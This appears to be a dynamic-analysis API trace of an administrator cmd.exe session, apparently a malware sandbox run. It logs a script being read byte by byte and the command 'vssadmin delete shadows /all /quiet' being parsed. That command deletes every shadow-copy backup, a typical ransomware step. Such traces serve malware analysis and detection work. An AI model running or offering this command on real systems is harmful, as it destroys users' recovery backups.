	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.859] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.859] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0093.859] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.859] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.860] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0093.860] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.860] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.860] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.861] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.861] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0093.861] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.861] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.862] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.862] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.862] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.862] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.862] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.862] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0093.862] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0093.862] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.863] GetFileType (hFile=0x248) returned 0x3
	[0093.863] _get_osfhandle (_FileHandle=0) returned 0x248
	[0093.863] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.863] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.863] GetFileType (hFile=0x254) returned 0x3
	[0093.863] _get_osfhandle (_FileHandle=1) returned 0x254
	[0093.863] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0093.863] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x59757cf828, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf828*=0x24, lpOverlapped=0x0) returned 1
	[0093.863] GetProcessHeap () returned 0x1c4ef510000
	[0093.863] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x4012) returned 0x1c4ef518320
	[0093.863] GetProcessHeap () returned 0x1c4ef510000
	[0093.863] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518320) returned 1
	[0093.864] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0093.864] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0093.864] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0093.864] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0093.864] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0093.864] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0093.864] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0093.864] GetProcessHeap () returned 0x1c4ef510000
	[0093.864] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xb0) returned 0x1c4ef5167b0
	[0093.864] GetProcessHeap () returned 0x1c4ef510000
	[0093.864] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x22) returned 0x1c4ef5119f0
	[0093.865] GetProcessHeap () returned 0x1c4ef510000
	[0093.865] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x48) returned 0x1c4ef52d410
	[0093.865] GetConsoleOutputCP () returned 0x4e3
	[0094.590] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6f606fbb0 | out: lpCPInfo=0x7ff6f606fbb0) returned 1
	[0094.590] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0095.367] GetConsoleTitleW (in: lpConsoleTitle=0x59757cf670, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0095.873] malloc (_Size=0xffce) returned 0x1c4ef700840
	[0095.873] ??_V@YAXPEAX@Z () returned 0x1c4ef700840
	[0095.873] malloc (_Size=0xffce) returned 0x1c4ef710820
	[0095.873] ??_V@YAXPEAX@Z () returned 0x1c4ef710820
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0095.873] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0095.874] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0095.875] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0095.875] ??_V@YAXPEAX@Z () returned 0x1
	[0095.875] GetProcessHeap () returned 0x1c4ef510000
	[0095.875] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xffde) returned 0x1c4ef518320
	[0095.876] GetProcessHeap () returned 0x1c4ef510000
	[0095.876] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x5a) returned 0x1c4ef516a50
	[0095.876] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0095.876] malloc (_Size=0xffce) returned 0x1c4ef710820
	[0095.876] ??_V@YAXPEAX@Z () returned 0x1c4ef710820
	[0095.877] GetProcessHeap () returned 0x1c4ef510000
	[0095.877] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x1ffac) returned 0x1c4ef52e380
	[0095.878] SetErrorMode (uMode=0x0) returned 0x0
	[0095.878] SetErrorMode (uMode=0x1) returned 0x0
	[0095.878] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1c4ef52e390, lpFilePart=0x59757ceef0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x59757ceef0*="Desktop") returned 0x17
	[0095.878] SetErrorMode (uMode=0x0) returned 0x1
	[0095.878] GetProcessHeap () returned 0x1c4ef510000
	[0095.878] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef52e380, Size=0x52) returned 0x1c4ef52e380
	[0095.878] GetProcessHeap () returned 0x1c4ef510000
	[0095.878] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef52e380) returned 0x52
